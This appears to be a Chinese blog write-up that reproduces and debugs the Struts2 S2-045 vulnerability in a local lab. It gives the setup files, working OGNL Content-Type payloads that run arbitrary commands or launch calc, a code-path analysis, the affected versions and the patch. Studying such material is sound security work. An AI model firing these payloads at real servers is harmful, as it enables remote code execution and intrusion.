環境搭建:win10 eclipes ee struts2.3.20 tomcat8
搭建好的環境:
鏈接:https://pan.baidu.com/s/1mChEMcWRlKALdu9Ikce8OQ
提取碼:uisj
漏洞構造條件只需模擬Struts2上傳發包即可,所以我簡單寫了個登錄校驗來複現此漏洞
導入基礎jar包放置在項目lib目錄下
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_9" version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
<display-name>Struts Blank</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
</welcome-file-list>
</web-app>
struts.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
<constant name="struts.enable.DynamicMethodInvocation" value="false" />
<constant name="struts.devMode" value="true" />
<package name="s2-045" namespace="/" extends="struts-default">
<action name="loginPro" class="com.au.struts.action.LoginAction">
<result>/welcome.jsp</result>
<result name="error">/error.jsp</result>
</action>
<action name="*">
<result>/{1}.jsp</result>
</action>
</package>
</struts>
包下創建LoginAction
package com.au.struts.action;
import com.opensymphony.xwork2.Action;
public class LoginAction implements Action {
private String username;
private String password;
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
@Override
public String execute() throws Exception {
if("admin".equals(getUsername())&&"password".equals(getPassword())){
return SUCCESS;
}
return ERROR;
}
}
login.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
<s:form action="loginPro">
<s:textfield name="username" key="username"/>
<s:password name="password" key="password" />
<s:submit/>
</s:form>
</body>
</html>
welcome.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
登錄成功
</body>
</html>
error.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
登錄失敗
</body>
</html>
我的tomcat默認的是8080端口,burp默認也是8080,會衝突,所以我把burp的端口修改爲8089
設置瀏覽器代理,運行login.jsp,點擊提交
修改content-type字段
隨便找了幾個POC:
任意命令
Content-Type:"%{(#xxx='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
解釋:
來獲取上下文容器
#container=#context['com.opensymphony.xwork2.ActionContext.container']
通過容器實例化,對Ognl API的通用訪問,設置和獲取屬性。
#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class
判斷目標主機的操作系統類型,並進行執行命令賦值
#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd })
執行攻擊命令
#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
彈計算器:
Content-Type:
multipart/form-data %{#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};
成功執行
漏洞分析:
struts2的核心是攔截器,漏洞成因就是struts-default中的處理上傳攔截器jakarta組件,會解析錯誤信息裏的ognl
表達式並執行
struts-default.xml中配置
<bean type="org.apache.struts2.dispatcher.multipart.MultiPartRequest" name="jakarta" class="org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest" scope="prototype"/>
struts2運行機制會首先執行StrutsPrepareAndExecuteFilter類,
然後對輸入請求對象request
的進行封裝調用執行到Dispatcher類的wrapRequest方法
下圖if判斷是否爲struts2上傳,我們彈計算器的 poc 就構造了multipart/form-data 滿足if條件
getMultiPartRequest()方法則使其默認就使用上述攔截器即解析類,從而引發了漏洞
在org.apache.struts2.dispatcher.Dispatcher類的wrapRequest方法838行設置斷點進入MultiPartRequestWrapper類
單步調試,此時調用JakartaMultiPartRequest類的parse方法進行解析請求,進入函數
在parse
方法中,processUpload
方法觸發異常,在下面捕獲到該異常 (Content-Type
異常)。
並且將異常信息傳入JakartaMultiPartRequest類的buildErrorMessage
方法中
進入buildErrorMessage
方法返回LocalizedTextUtil.findText方法
e.getMessage()
就是獲取我們上一張圖的報錯信息,其中就有構造的payload,繼續單步
來到LocalizedTextUtil.findText
方法
返回findText()方法,進入該方法,上圖defaultMessage參數被傳入,繼續調試
進入getDefaultMessage
方法,defaultMessage賦給message,translateVariables方法帶入此參數
顧名思義,我們構造的ognl表達式被執行。我們不再進入,直接運行,poc被執行。
總結:
漏洞成因:
Struts2默認解析上傳文件的Content-Type
頭,存在問題。在解析錯誤的情況下,會執行錯誤信息中的OGNL代碼。
影響範圍:
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10
官方修復:
升級,補丁去掉方法: LocalizedTextUtil.findText(......);
tip:分析原理及過程時,也可通過官方修復的代碼或文檔來對照快速定位關鍵代碼進行調試分析。
自己動手實踐分析,確實比看別人的強啊~